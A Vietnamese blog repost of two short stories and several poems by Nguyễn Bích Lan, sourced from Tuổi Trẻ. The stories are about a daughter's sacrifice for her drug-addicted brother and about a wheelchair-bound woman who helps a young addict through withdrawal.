Thứ Ba, 27 tháng 9, 2011

Truyện ngắn: Con gái

Minh họa: LAP

1. Mẹ nó lấy chồng năm mười sáu tuổi khi cặp vú thiếu nữ của mẹ nó chỉ mới hơi đội áo lên. Nó sắp ra đời thì đài truyền hình khởi chiếu bộ phim dài hơn 100 tập của Mêxicô. Mẹ nó mê phim đó đến nỗi đã lẩm nhẩm đau bụng mà vẫn cố ngồi xem hết một tập phim rồi mới xách túi tã lót lên trạm xá. Nó mới được 9 ngày tuổi mẹ nó đã bế nó chạy thốc qua con ngõ dài để tới với những nhân vật mà mẹ nó mê mẩn.

Mẹ nó ngồi xem phim, lúc bĩu môi, lúc chép miệng, lúc cười khúc khích, lúc cười rũ rượi, lúc khóc sụt sịt còn nó thì cứ ngủ khì trong tấm chăn len chẳng í ới gì.

Khi nó biết ăn bột, trong phim nổi lên một tình huống mới: một nhân vật chen vào giữa một "đôi lứa xứng đôi". Chiều chiều mẹ nó bế nó đi ăn rong, vừa đút bột cho nó vừa sốt sắng lượm lặt những lời chê bai, nguyền rủa mà các bà các chị trong xóm hắt vào cái nhân vật thứ ba đáng ghét kia. Có lúc vì mẹ nó mải nói chuyện quá mà thìa bột chưa chạm môi nó đã dừng lại khiến nó cứ thè cái lưỡi nhỏ xíu ra liếm hụt mũi thìa như một con mèo con tội nghiệp. Bộ phim kết thúc. Mẹ nó ngơ ngẩn như vừa trải qua một đoạn đời tươi đẹp của mình, ngơ ngẩn đến nỗi quên không khoe với chúng tôi những bước đi đầu tiên của nó và cũng chẳng để ý mình đã chậm kinh đến hai mươi ngày.

Mẹ nó sinh em trai. Nó chưa biết nói từ thích nhưng qua cách nó xán lăn vào em nó chúng tôi có thể biết nó thích em nó đến nhường nào. Nó cứ quanh quẩn bên giường em nó cả ngày, hết leo lên lại tụt xuống, leo lên lại tụt xuống. Tã lót, khăn lớn khăn bé mắc vào ngón chân nó rơi rong khắp nhà. Em nó thỉnh thoảng lại bật lên những tiếng oe oe vì bị nó thơm quá dữ dội. Mẹ nó trợn mắt nạt nộ, dậm chân, chỉ tay bắt nó tránh xa giường em nó. Lúc sợ mẹ nó đứng nép vào góc nhà giương mắt nhìn, rồi khi cơn sợ qua đi nó lại men men theo tường tìm cách leo lên giường với em.

Ngày nào nó cũng bị mẹ nó phát đôm đốp vào mông mấy lượt vì tội làm vướng chân mẹ, làm em giật mình, tội bày thêm việc cho mẹ nó. Hễ bị đánh là nó lăn ra hờn. Nó hờn rất dai, hờn dai đến nỗi môi nó run bần bật, người nó tím tái đi, hờn đến nỗi hàng xóm cũng phát ghét nó. Em nó càng lớn càng biết chơi với nó, nó lại càng bị đòn nhiều và càng hờn dai.

Trên Tuổi Trẻ (từ 12 đến 17-3) bạn đã đọc câu chuyện về một người không gục ngã,người đã mạnh mẽ đứng dậy từ chính cuộc sống có quá nhiều đau đớn và thua thiệt vì tật bệnh: Nguyễn Bích Lan (ảnh).

Hôm nay, cô gái kiên cường ấy sẽ trở lại với bạn qua một sáng tác của chính cô. Và bạn sẽ đọc một câu chuyện khác, có lẽ là đau đớn hơn và thua thiệt hơn. Bích Lan không kể về cuộc đời mình, cuộc đời ở đây là của một “nó” nào đó không tên không tuổi. Nó chỉ có một thân phận buồn nên nỗi nghẹn ngào tức tưởi cứ mãi đeo đuổi người đọc...

Thế nhưng nó chỉ hờn cho đến hết tuổi lên bốn, từ đó trở đi nó hầu như không khóc thành tiếng. Dường như nó hiểu nó có hờn cũng chẳng ích gì. Dường như nó biết em nó đáng được yêu hơn nó. Nó chấp nhận điều đó. Mỗi khi chơi với em, bị em giành giật đồ chơi, bị em rứt tóc, đấm đá, nó im lặng chịu đựng không hề hé răng mách bố mẹ.

Không phải vì nó đã khôn đến nỗi tự nguyện bỏ qua tất cả thói đành hanh của thằng em, mà vì nó đủ khôn để sống với kinh nghiệm của chính mình, cái kinh nghiệm dạy nó rằng nếu nó mách bố mẹ về xung đột giữa hai chị em nó thì thế nào bố mẹ cũng đổ tất cả tội lên đầu nó, thế nào cũng đe nẹt nó lần sau phải nhường em hơn.

Ðã khôn như vậy rồi mà thỉnh thoảng nó vẫn bị mắng, bị đòn. Mỗi lần bị mắng nó lại tìm ra một chỗ đứng một mình. Nó cứ đứng mãi chỗ ấy nhìn xuống những ngón chân di di trên mặt đất của mình. Chẳng biết đứng như thế một lúc nó có khóc hay không.

Sinh cùng năm với nó ở Anh, Mỹ, Ấn Ðộ, Canada có những thần đồng nổi tiếng thế giới.Trong một cuốn sách người ta định nghĩa thần đồng là những trẻ em có thể làm những việc được coi là chỉ người lớn mới có khả năng thực hiện.

Theo định nghĩa đó, nó cũng là một thần đồng. Mới 6 tuổi nó đã đảm đương gần như toàn bộ công việc chăm sóc em. Nó biết nấu cơm, biết xới cơm cho em ăn. Biết tắm, biết gội đầu, biết chùi đít, biết đổ bô cho em nó. Nó biết hôm nào nên cho em nó mặc áo dày, hôm nào nên cho em nó mặc quần đùi. Hàng xóm chúng tôi có ai cất lời khen nó thì mẹ nó lập tức cướp lời người ta ngay.

Mẹ nó bảo: "Khôn gì mà khôn, chỉ vì nhà bí người thôi". Cũng chẳng có nhiều cơ hội để mẹ nó giải thích cho cái việc bố mẹ nó mua cái máy xay xát di động để rồi suốt ngày người kéo người đẩy đi hết làng này đến làng khác xay xát thuê, bỏ hai đứa con nhỏ ở nhà tự trông nhau.

2. Nó lớn từ từ, càng lớn càng rõ ra là một đứa con gái cục mịch. Học hết lớp chín nó muốn học lên cấp III nhưng không biết bố mẹ nó có cho phép hay không. Nó đợi sự cho phép của bố mẹ nó. Bố mẹ nó mải làm quên béng mất việc ấy. Sự kiên nhẫn của nó lên đến cao trào liền nhường chỗ cho lòng tự ái. Nó không hé răng nhắc họ một câu. Cho đến khi đài truyền thanh thông báo ngày tập trung ở trường cấp III bố nó mới "ấy chết" và hỏi: "Mày đỗ hay trượt hả con?". Nó im lặng không đáp. Mẹ nó cười khanh khách rồi nói: "Trông đần mặt ra thế kia là trượt rồi. Trượt thì trượt cần đếch gì. Con gái không cần phải học nhiều, học nhiều chỉ tổ khó chống lầy". Nó thì không cần phải học còn em trai nó thì kiểu gì cũng phải học, cho học đến hết đường học thì thôi, bố nó bảo thế.

Quả là em trai nó được cho học đến mức ấy thật. Em nó được gửi đi học thêm từ lớp 3. Hè lại hè, em nó cùng thằng con út ông chủ tịch xã và thằng con ông trạm trưởng trạm y tế tập hợp thành bộ ba theo suốt một lượt những ông thầy có tiếng trong huyện. Ba ông bố cắt cử nhau đưa đón ba cậu ấm đi học thêm. Các dịp lễ tết có thêm các bà mẹ cặp đôi đến nhà thầy thăm hỏi chúc tụng. Thầy nào cũng bảo em trai nó thông minh không kém gì hai con nhà cán bộ kia.

Tất nhiên họ cũng không quên nhắc bố mẹ nó phải tiếp tục đầu tư, đầu tư bền bỉ, đầu tư lâu dài. Bố mẹ nó trông ra khối con nhà chỉ vác cặp đến lớp giữ chỗ ngồi mà lấy làm hãnh diện vì được làm nhà đầu tư cho giáo dục. Tuần nào mẹ nó cũng lên thị tứ mua một túi bột đậu, một hộp sữa. Mẹ nó vừa đi vừa vung vẩy hai cái túi đồ ăn được coi là xa xỉ đối với con nhà làm ruộng, gặp ai mẹ nó cũng lần lượt giơ hai túi ấy lên khoe: "Cái này để thằng cu ăn sáng, cái này để bồi dưỡng cho thằng cu học khuya".

Em nó vào cấp III còn nó bắt đầu công việc nhặt chỉ ở một công ty may gia công trên thị trấn. Nó làm việc mười ba tiếng một ngày. Nó thở trong xưởng may đầy bụi, ăn trong khoảng thời gian quy định ngắn ngủi và ngủ trong nỗi lo chiếc đồng hồ báo thức bị kẹt chuông. Bạn cùng làm gọi nó là con kiến. Và nhờ làm siêng như một con kiến nên sau ba tháng nhặt chỉ nó đã được chuyển sang tổ đóng gói. Nó ngẩng lên cúi xuống, nó xếp, nó bê, nó gỡ băng dính, nó vác kiện, nó đẩy xe.

Lương tháng của nó tăng từ năm trăm nghìn lên tám trăm nghìn đồng. Nó đưa cho mẹ nó sáu trăm nghìn, giữ lại hai trăm nghìn. Mẹ nó không hài lòng, phàn nàn với hàng xóm rằng nó có ý giữ vốn riêng. Chẳng ai biết mà thanh minh hộ nó rằng tuần nào em nó cũng đến cổng xí nghiệp xin nó cấp tiền phôtô sách, tiền mua bộ đề, tiền đi sinh nhật bạn, tiền may đồng phục... Em nó thà để chị mình chịu thiệt một tí chứ nhất định không khai ra những khoản đầu tư ngoài luồng, còn nó thì chẳng muốn bố mẹ phải phát sốt lên vì tiền.

Em nó thi đỗ đại học giao thông. Bố mẹ nó làm hẳn mười lăm mâm cơm khao, họ hàng, bè bạn. Tàn cuộc khao, bố mẹ nó ngồi bó gối giữa đám bát đĩa đi thuê bàn kế hoạch cân đối thu chi trong giai đoạn cậu ấm học đại học. Bố nó nói với mẹ nó về những chiếc máy: máy đóng gạch, máy khoan giếng, máy bơm nước, máy tuốt lúa. Máy nào cũng cần một người kéo một người đẩy. Mẹ nó có vẻ ưng tất cả những chiếc máy đó. Nó thì thấy cái máy nào cũng không ổn. Lần đầu tiên nó dám cất tiếng góp bàn. "Mày định đi Ðài Loan làm ôsin thật à? Hỏi kỹ người ta chưa? Chi phí đi bao nhiêu? Tháng được bao nhiêu đô?". Bố nó hỏi một tua.

Nó nói lại những gì nó đã tìm hiểu được ở trung tâm xúc tiến xuất khẩu lao động. Nó đang nói thì bị mẹ nó ngắt lời: "Chốt lại là mỗi tháng bao nhiêu đô?". "Năm trăm", nó đáp. Bố nó lẩm bẩm làm phép tính nhân rồi gật gù: "Ðược đấy, nếu đi được thì hay đấy. Thôi, mày chịu khó vài năm con ạ, hi sinh đời chị chuẩn bị cho đời em". Nó rất xúc động trước cách dùng từ của bố nó. Nó nghĩ được hi sinh cho người khác cũng là một hạnh phúc. Sau này sang bên nước người dù có khó khổ thế nào nó cũng sẽ nghĩ đến điều ấy mà cố gắng vượt qua.

Thơ Nguyễn Bích Lan

Ngày mới

Tôi ra ngoài ngõ
Đón ngày của tôi
Thấy con chim nhỏ
Đánh rơi gió đồi.


Tôi sang chợ gạo
Đong một mùa no
Thấy người ta gói
Thật thà đem cho.


Tôi ra đồng xanh
Hái sương trên búp
Thấy nhựa đời tươi
Xôn xao mừng giúp.


Tình tang tôi hát
Ru ngày của tôi
Tôi gánh tôi vác
Xênh xang lộc trời.

Về một giấc mơ

Tôi mơ thấy tôi ngồi với một người
Có nỗi buồn không thể xẻ làm đôi
Lệ một người rơi xuống tay người kia bỏng rát
Tôi không nhớ ai đã khóc
Tôi mong
Đó là tôi.

Buồn thầm

Buồn thầm sợ nắng buồn lây,
sợ mây đổ bóng gió gầy đứt cơn
nụ cười như mảnh áo sờn
rưng rưng che đậy nỗi buồn thịt da!
buồn thầm buồn của mình ta
tìm ai chia sẻ sợ là buồn chung
nhện buồn thì nhện giăng mùng
ta buồn ta gửi tơ chùng vào thơ
biết còn buồn được bây giờ
mai kia dẫu chút buồn hờ cũng không!

Cuối tháng chín em nó lên Hà Nội nhập học thì đầu tháng mười một nó bay sang Ðài Loan. Mới đi được hai tháng nó đã gọi điện cho em nó bảo mở một tài khoản để nó gửi tiền về. Nó gửi đều đặn, gửi luôn cả những món tiền thưởng mà nó nhận từ chủ nhà với lòng hàm ơn.

Mỗi người nhà nó khoe tin tiền về theo cách riêng của mình. Mẹ nó khoe bằng một đôi bông tai. Bố nó khoe bằng một chiếc tivi màn hình phẳng cùng đầu video và bộ loa vi tính. Em nó khoe bằng một chiếc Suzuki mới đập hộp, bằng điện thoại di động, quần bò, áo phông xịn. Một người vất vả ba người sung sướng. Phép tính hi sinh của nó ra được kết quả như vậy kể cũng thỏa mãn.

Theo hợp đồng nó làm cho người Ðài Loan hai năm, được gia hạn thêm một năm là ba. Trông thấy nó sau ba năm hàng xóm chúng tôi ngỡ ngàng lắm. Chúng tôi ngỡ ngàng không phải vì nó đã thành nửa người Việt nửa người Ðài Loan mà vì nó chẳng thay đổi tí tẹo nào, cứ như thể nó vừa đi ra khỏi cái ngõ sâu nhà nó một lát rồi lại đi vào. Mấy chị thợ may khéo mồm xui nó có hàng trăm triệu đấy nên trích ra một ít mà cải mã.

Bọn con gái mới lớn bảo rằng nó mà đi ép tóc, mặc quần ống vẩy, mặc áo sát eo thì trông sẽ "ngon" hơn. Mẹ nó không xui nó đi cải mã nhưng cứ thúc nó đi sắm bông tai, dây chuyền vàng để đeo. Theo kinh nghiệm của mẹ nó, con gái có của dù xấu cũng dễ lấy chồng. Mẹ nó luôn nói rằng bố nó lấy mẹ nó vì cái dây chuyền vàng năm chỉ của bà ngoại nó cho mẹ nó chứ chẳng vì cái gì hết.

3. Vào một ngày giáp tết nó bắt xe đi Hà Nội. Nó đi hai ngày thì trở về cùng thằng em. Chúng tôi không thấy nó ép tóc, không thấy nó mặc quần áo mới cũng chẳng thấy nó đeo dây chuyền, bông tai gì hết. Mọi con mắt trong ngõ đổ dồn vào chiếc túi du lịch nó khoác trên vai. Ai cũng tò mò về câu chuyện sau bữa cơm tối ở nhà nó. Thế rồi sự tò mò ấy mau chóng được thỏa mãn.

Chị em nó về nhà được chừng nửa tiếng thì từ nhà nó liên tục vọng ra những tiếng đổ vỡ, tiếng quát tháo của bố nó. Chúng tôi biết nhà nó có chuyện liền đổ đến để xem, để can. Chẳng ai đánh ai mà can. Nhà nó như một sân khấu, trong đó mỗi diễn viên đều độc diễn theo lượt. Lượt của bố nó xong rồi. Màn hình tivi, đầu video, loa, cốc chén, phích nước, bàn ghế đều bị hất đổ chỏng chơ hoặc bị đập vỡ tanh bành. Chẳng còn gì để mà đập nữa.

Ðến lượt nó. Nó đến trước mặt thằng em đang ngồi như thằng chết lả ở cuối giường giật tung từng chiếc cúc trên chiếc áo nó đang mặc. Áo nó tuột xuống đến đâu da thịt nó lộ ra đến đó, mỏng mảnh, sứt sẹo, đau cho từng cái nhìn.

Nó nói giọng như lưỡi lửa rờn rợn: "Mày nghĩ tao sang bên kia làm gì cho người ta? Tao nói cho mày biết, tao sang bên ấy hầu hạ một bà già bị bệnh tâm thần phân liệt. Mày học cao thế chắc là biết bệnh đó là bệnh gì rồi. Nhưng mày không thể biết sống cùng với một người bị căn bệnh đó là như thế nào đâu. Mày có biết tao khốn khổ với bà già ấy như thế nào không? Ban ngày tao không được rời bà ấy nửa bước. Ban đêm tao và bà ấy phải ngủ chung với một cái xích. Tao phải xích tay tao vào tay bà ấy để bà ấy khỏi đi lang thang, mày hiểu không? Bà già ấy bạ đâu cũng đái, bạ đâu cũng ỉa, gặp cái gì cũng ăn. Tao phải giải quyết tất cả chuyện vệ sinh cho bà ấy. Ðã thế ngày nào bà ấy cũng kêu gào, cào cấu tao, ném đồ vào người tao. Mà tao lại không thể giận con người đã hành hạ tao, không thể giận một ai vì tao tình nguyện phục vụ người ta để kiếm tiền. Thế mà mày đã dùng đồng tiền ấy hủy hoại thân xác mày, hủy hoại cuộc đời mày, giống như giết sống tao vậy".

Thì ra nó đang xét lại phép tính hi sinh. Tại sao nó phải làm vậy chúng tôi không hiểu, song trong thâm tâm chúng tôi thấy mừng vì chúng tôi ngỡ nó đã quyết định đứng lên tháo bỏ cái gông vô hình đã gông vào nó từ nhiều năm chỉ vì nó sinh ra làm phận gái trong nhà. Cái gông vô hình đó đã bắt nó nhường nhịn, nín nhịn, chịu thiệt thòi, chịu hi sinh quá nhiều. Chúng tôi cứ ngỡ là như vậy cho tới khi nó xốc áo lên, vừa cài từng chiếc cúc vừa đi ra chỗ bố mẹ nó, lặng lẽ quỳ xuống.

Nó nói giọng không rờn rợn chỉ đượm chua xót: "Con xin bố mẹ tha lỗi cho con. Nếu không vì con gửi tiền về chỗ em Nhất thì nó chẳng lấy đâu ra tiền mà ăn chơi đua đòi rồi sa vào hút chích. Con xin bố mẹ cho con chuộc tội. Con sẽ đi làm kiếm tiền cứu em. Nhất định con sẽ cứu em ấy". Mọi chuyện đã rõ. Em nó nghiện ma túy, còn cái gông vô hình kia không những không được tháo bỏ mà đã gông nó ở một mức mới, chặt hơn, nặng nề hơn.


Nó đi Ðài Loan làm ôsin lần nữa để lấy tiền giúp em nó cai nghiện. Nó gửi tiền về dè dè mỗi lần vài triệu. Lần thứ nhất bố nó dùng tiền ấy cai cho em nó tại nhà. Sau hai tháng em nó cai được. Bố nó giữ em nó ở nhà trông coi sát sao hơn nửa năm trời mới thả cho lên Hà Nội học tiếp. Em nó nghiện lại sau hai tuần tái ngộ với bạn nghiện ở thủ đô. Bố nó đưa em nó lên Bắc Giang cai tại nhà một ông lang. Em nó lại cai được.

Bố nó không cho em nó lên Hà Nội nữa nhưng bọn nghiện quanh thị trấn tìm đến với em nó rất mau. Em nó nghiện lại lần nữa, lần nữa, rồi lần nữa. Khi cái sự cai được và tái nghiện lặp đi lặp lại đến sáu lần thì bố mẹ nó tuyệt vọng hẳn, bỏ buông như thể đã mất người. Một đêm nghe thấy em nó bàn với một con nghiện khác trèo tường vào ăn trộm máy vi tính của một trường trung học, bố nó liền báo công an. Công an bắt em nó vào một trại cải tạo ở miền trung. Tiền của nó gửi về được dùng vào việc thăm nuôi phạm nhân.

Rồi một hôm trại cải tạo gửi điện mời bố mẹ nó vào trại gấp nhìn mặt em nó lần cuối. Sau chuyến đi bố nó gọi điện cho nó nói em nó cai được rồi, được hẳn, không bao giờ tái nghiện nữa. Chúng tôi ngờ rằng biết được tin đó nó sẽ không bao giờ còn có thể tháo bỏ nổi cái gông vô hình kia nữa.

* * *

Có lẽ linh cảm của chúng tôi đúng bởi nó cứ đi mãi không về. Cũng có thể hết hạn lao động nó về lang thang ở đâu đó một thời gian rồi lại làm thủ tục đi tiếp. Mãi cho tới tháng trước bố mẹ nó mới biết được chút tình hình của nó. Nó gửi về một lá thư thông báo rằng nó đã lấy chồng người Ðài Loan và có ý định ở hẳn bên đó không về nữa. Nó gửi qua bưu điện cho bố mẹ nó một trăm triệu nói là bố mẹ nó muốn tiêu gì thì tùy. Không biết vì không muốn làm cặp vợ chồng giàu có cô đơn hay vì muốn tháo bỏ cái gông vô hình cho nó mà bố mẹ nó quyết định dùng số tiền đó để sinh em cho nó.

Nhờ phương pháp thụ tinh trong ống nghiệm mà mẹ nó ở tuổi bốn mươi ba lại vượt cạn. Lần này mẹ nó đẻ sinh đôi một trai một gái. Bây giờ nhà nó lại có tiếng trẻ con. Bố mẹ nó làm cha mẹ lại từ đầu.

Thái Bình, tháng 5-2005

Truyện ngắn của NGUYỄN BÍCH LAN

Nguồn Tuoitre.vn

Truyện ngắn: Vườn Chuối

Người ta nói rằng tất cả những người có tiền ở cái làng này đều đã bị nó xin đểu. Tôi chưa thấy nó sờ đến tôi. Tôi cứ phấp phỏng thế nào.

Minh họa: Nguyễn Ngọc Thuần

Ai trong làng cũng biết tôi phải di chuyển bằng xe lăn và rất nhiều người biết rằng tôi không thiếu tiền bởi em trai tôi ở Đức vẫn thường xuyên gửi ngoại tệ mạnh cho tôi qua bưu điện. Cánh đàn ông ngồi uống nước nói với nhau: “Con mẹ cụt đó phúc lớn thật, cứ việc ngồi yên một chỗ mà hứng của”. Cánh đàn bà ngồi buôn dưa lê hặm hụi: “Nó lắm tiền thế tiêu gì cho hết, thằng đàn ông nào muốn bán “cái ấy” cho nó phải đòi giá cao vào”. Những lời ấy ngẫu nhiên bay đến tai tôi, tôi chẳng thấy buồn bực gì. Tôi biết bực đôi chân cụt của tôi hay bực sự chu cấp dào dạt của em tôi?


Tại sao nó không tìm đến tôi để xin tiền mua heroin? Câu hỏi đó dội lên trong đầu tôi lúc nào là y như rằng lúc ấy hai bánh xe lăn của tôi đang lăn đi bỗng đứng khựng như bị khóa. Tôi tính tới rất nhiều lý do, trong đó có lý do tôi cụt chân. Một con nghiện nặng đến độ đứng giữa đường chặn xe, kề dao vào cổ người ta đòi tiền, ngồi giữa chợ tự chích thuốc liệu còn có khả năng để chút lòng trắc ẩn thắng cơn đói thuốc hay không? Chắc là không. Sớm muộn gì nó cũng tìm tới tôi thôi, có lẽ là đợi tới đợt gửi tiền sắp tới của em tôi, hốt một mẻ ra trò để chạy thuốc dài dài.

Nhà tôi nằm trên rẻo bờ sông giáp với cánh đồng Duôm, nơi hoang vu nhất của cái làng đang thị tứ hóa thần tốc. Trước đây ở rẻo bờ sông ngoài nhà tôi còn có ba gia đình khác sinh sống nhưng dần dà họ bỏ đi cả bởi người ta đi xem bói ở đâu thầy bói cũng nói rẻo đất này nghịch, lắm ma quỷ nhiều hồn oan, ai định cư ở đây sớm muộn sẽ gặp chuyện chẳng lành. Không phải là tôi không để ý đến chuyện thủy thổ mà vì tôi không thể bỏ hoang đất của ông bà cha mẹ. Hơn nữa, tôi đã bị ôtô cán đứt cả hai chân khi tôi hai mươi hai tuổi và kể từ đó đời tôi đâu có thiếu những chuyện chẳng lành. Tôi đâm nhờn với những chuyện chẳng lành như một con bệnh nhờn thuốc.

Từ ngày chuyện chích choác của nó bay đến tai tôi, tôi mắc chứng khó ngủ. Thường tôi nằm trên giường căng tai hốt lấy mọi tiếng động mơ hồ vang lên trong đêm tối. Tôi thấy hệ thống an ninh, nói đơn giản là cổng cửa nhà tôi, tuềnh toàng quá. Cánh cổng được ghép bằng những đoạn gỗ xoan từ ngày bố mẹ tôi còn sống ngấm mưa ngấm nắng bao năm trời, cơ hồ dùng tay mà gỡ từng đoạn gỗ ra không khó. Cửa giữa bằng gỗ tốt có khóa trong nhưng các chấn song cửa sổ thì đều lung lay như răng bà lão cả lượt.

Đã có lần tôi bị cảm, chóng mặt không dậy được, ú ớ gọi hàng xóm và người hàng xóm gần nhất của tôi ở bên kia sông đi cầu khỉ sang, mở cổng, vặn song cửa sổ chui vào trong nhà tôi chỉ mất có mười phút. Một người bình thường mà chỉ cần mười phút để qua sông và có mặt ở gian giữa nhà tôi, còn tôi mỗi sáng mất chí ít hai mươi phút để đổi vị trí từ giường sang xe lăn! Tôi phải làm gì để khắc phục sự thiếu an toàn đó?

Với người khác, nuôi một con chó có thể là giải pháp đơn giản, nhưng tôi thì sợ chó không thể tả nổi bởi chính mắt tôi đã chứng kiến bố tôi bị lên cơn điên đến chết vì chó dại cắn. Làm lại cổng cửa là việc tôi không đặt ra bởi tôi muốn giữ nguyên trạng ngôi nhà như khi em tôi ra đi để một ngày nào đó em tôi trở về người cũ không thấy thì cũng còn thấy cảnh xưa. Cái đơn xin mắc điện thoại của tôi hình như đã tới tận bưu điện huyện nhưng nó cần phải đợi được tập hợp với bốn mươi chín cái đơn như thế nữa của các hộ trong xã người ta mới giải quyết một đợt. Chứng khó ngủ của tôi rồi cũng đi đến mãn tính.

Tối đến tôi thường lăn xe ra bờ sông ngắm trăng, ngắm sông hoặc ngồi im lặng căng mắt nhìn vào đêm tối và thú tiêu khiển không cần dùng tới tiền ấy kích thích trí tưởng tượng của những cái đầu mê tín trong làng. Cái bóng kỳ dị của tôi trên xe lăn loang trên mặt đất gần cây bồ kết già phía bên trái cây cầu khỉ được tin là hồn ma của Văn Cô (một người con gái từng sống ở rẻo bờ sông sau khi chết yểu được coi là rất thiêng) xõa tóc cầm quạt múa. Tôi bị người ta nhìn thành ma kể cũng buồn nhưng quả là có những lúc tôi thấy mình còn sống đấy nhưng đơn độc quá, lủi thủi chẳng khác một hồn ma. Tôi mà ra ma thì số tiền mặt để trong nhà và số tiền tôi gửi trong ngân hàng chẳng hơn gì tiền âm phủ.

Tối hôm ấy là tối mùng ba âm lịch. Trăng câu liêm mỏng quẹt như một mẩu giấy màu vàng được dính lên da trời đen thẫm. Tôi ngồi dưới gốc cây bồ kết ngắm vầng trăng và cố xác định xem so với trăng lá lúa tối hôm trước thì trăng hôm ấy lớn thêm được bao nhiêu. Sự khác biệt rất mơ hồ, và có lẽ ngoài tôi và những nhà nghiên cứu vũ trụ ra chẳng ai thèm để ý. Soạt. Một tiếng động như tiếng tuốt lá chuối khô của một người đi nhà xí quên mang giấy vang đến tai tôi. Tôi quay đầu nhìn về phía bụi chuối gần bờ sông nhất trên khu đất hoang của nhà Hoàn Râu. Trong ánh trăng lờ mờ tôi nhìn thấy một thứ gì đó đen đen đang giãy giụa rất dữ dội, như thể một con gì đó rất to, rất dài đang quằn quại trong cơn đau đẻ hoặc đang giãy chết, nhưng con vật gì mà to và dài như thế chứ? Con người. Bộ óc tôi không đến nỗi không đủ nhạy để suy đoán ra đó là một con người. Người nào, làm sao lại nằm dưới đất cát mà giãy giụa như thế? Tôi đưa tay lăn chiếc xe ra khỏi bóng cây bồ kết, gắng sức lái nó vượt lên khỏi một mô đất cao để đến sát bụi chuối. Những tiếng rên rỉ, khóc lóc và những tiếng chửi thề bị mặt đất hãm bớt âm lượng nhưng vẫn dội vào tim tôi gây cảm giác đau đớn.

- Ai làm sao mà lăn lộn thế? - tôi cất tiếng hỏi với hàm ý muốn giúp đỡ.

- Đ. mẹ! Mặc kệ bố.

- Giáo! Ôi trời, đến thế này kia ư? Về nhà về cửa mà nằm chứ.

- Bà... im mẹ... mồm đi. Nó vừa rủa tôi vừa cong người ôm lấy một gốc chuối như muốn bắt chước điệu bộ của một con trăn quấn cây và rồi nó giãy một cái thật mạnh. Phập! Cây chuối đổ xuống đè lên người nó. Nó ôm cây chuối lăn một vòng, đè nghiến lên thân cây và ngoạm. Giãy, lăn và ngoạm, những động tác hung tợn và mất sức.

- Cô gọi ai đưa cháu về nhé?

Nó lại chửi, chửi trong lúc giãy, lăn và ngoạm. Tôi bấu chặt những ngón tay vào bánh xe lăn, ngực thắt lại.

- Hay là để cô đưa...

Nó bắt ý tôi rất nhanh.

- Đ. mẹ, câm mồm đi. Bố mày... đã quyết rồi. Đứa nào... ngăn... bố mày phay cả nhà.

- Quyết cái gì cơ? - không bắt nổi ý nó tôi hỏi vẻ ngớ ngẩn.

- Để bố mày yên.

Tôi không nói gì nữa, không thể rời mắt khỏi nó và không thể nhịn khóc.

Trước khi trời sáng tôi biết rằng bụi chuối nhà Hoàn Râu đã bị quật đổ, còn những thân chuối nát bấy ra sao thì chỉ sáng hôm sau tôi mới rõ. Đến trưa có người ở bên kia sông mách với Hoàn Râu. Anh ta vượt cầu khỉ sang khu đất bỏ hoang của mình, quay mặt về phía nhà tôi chửi bậy đến nỗi tôi ngỡ râu trên cằm anh ta trước thứ ngôn ngữ bốc mùi ấy sẽ rụng tiệt.

Đêm hôm sau trăng tỏ hơn một chút khiến cho cảnh giãy giụa quằn quại đập vào nhãn quan tôi rõ hơn. Tôi ngồi im trên xe lăn, nhớ lại cảm giác đau đớn khủng khiếp khi tôi bị ôtô nghiến đứt chân. Tôi khóc thầm, nước mắt chảy ròng ròng. Bụi chuối thứ hai tan nát và số phận của bụi chuối thứ ba cũng được định đoạt ngay trong đêm tiếp theo. Hoàn Râu cứ nhè giữa trưa vác mồm đến chửi. Từ điển ‘’đen’’ của anh ta quả là độc nhất vô nhị.

Sợ nó mất trận địa đêm thứ tư, tôi đón lõng nó đề nghị:

- Tay Hoàn nó hung lắm, đe rình là sẽ rình đấy. Đừng ở đây nữa, cô để cổng đấy, cháu cứ vào vườn sau của cô lúc nào cháu muốn. Ở đấy toàn chuối là chuối, cháu cần phải làm gì cứ làm.

Nó không nói gì, lặng lẽ lê bước vào vườn sau nhà tôi ngồi đợi cơn nghiện lên. Rồi nó cũng hé răng xin tôi để cổng cả ban ngày cho nó để ông bà già nhà nó khỏi phải dùng đến dây xích xích nó vào chân giường.

Tôi không cần phải để ý đếm xem nó ra vào vườn nhà tôi bao nhiêu lần bởi vườn chuối của tôi đã cho biết tất cả những gì tôi muốn biết. Từng khóm chuối lần lượt đổ xuống ngổn ngang, tan nát: những mảnh lá và thân chuối trộn với đất văng khắp nơi, mảnh còn tươi lẫn với những mảnh đang phân hủy thâm sì, nhũn nhoét. Vườn sau tan hoang không còn một mống chuối, mùi hăm hăm thôi thối bay vào nhà qua cửa sổ. Tôi cho phép nó mở trận địa ở vườn trước.

Sau độ mươi hôm vườn trước cũng bốc mùi hăm hăm như vườn sau. Tôi bảo tôi sẽ hỏi mua cả vườn chuối của nhà chị Mạnh ở rìa đồng cho nó chiến đấu. Nó nói nó không cần trận địa mới. Nắng gắt nửa tháng liền, vườn sau hết mùi, nó trở lại đó. Cơn thèm thuốc của nó thưa hơn và bớt quyết liệt đi nhiều. Nó không cần giãy, không cần lăn nhưng những lúc không chịu nổi nó vẫn cần găm răng vào đâu đó và nó chọn hai cánh tay lúc nào cũng để trần. Nó sắp cai được rồi, sắp cai được rồi. Tôi nói cho nó biết dự cảm đó của tôi trong một lần bôi cồn lên những vết thương ở cánh tay nó và người bưu tá đến đưa giấy lĩnh tiền cho tôi đã nhìn thấy cảnh đó.

Em tôi gửi cho tôi một nghìn đôla. Tôi gửi bảy trăm đô vào khoản tiết kiệm ở ngân hàng, số còn lại tôi đổi sang tiền Việt mang về nhà. Tôi bảo nó:

- Cháu cai được rồi đấy, bây giờ cần bồi dưỡng thể lực. Cầm ít tiền mua thịt thăn hay trứng mà ăn.

Tôi rút xấp tiền từ dưới đệm lót của xe lăn đưa cho nó. Nó xua tay:

- Cháu không cần bồi dưỡng đâu. Thoát cái của nợ ấy là cháu khắc khỏe. Cô đem mà gửi ngân hàng, nhỡ đâu em cô chết độp ở bên Đức thì cô khỏi phải lăn xe đi ăn xin.

- Ừ, nhưng...

- Đ.mẹ, cất đi - nó gắt.

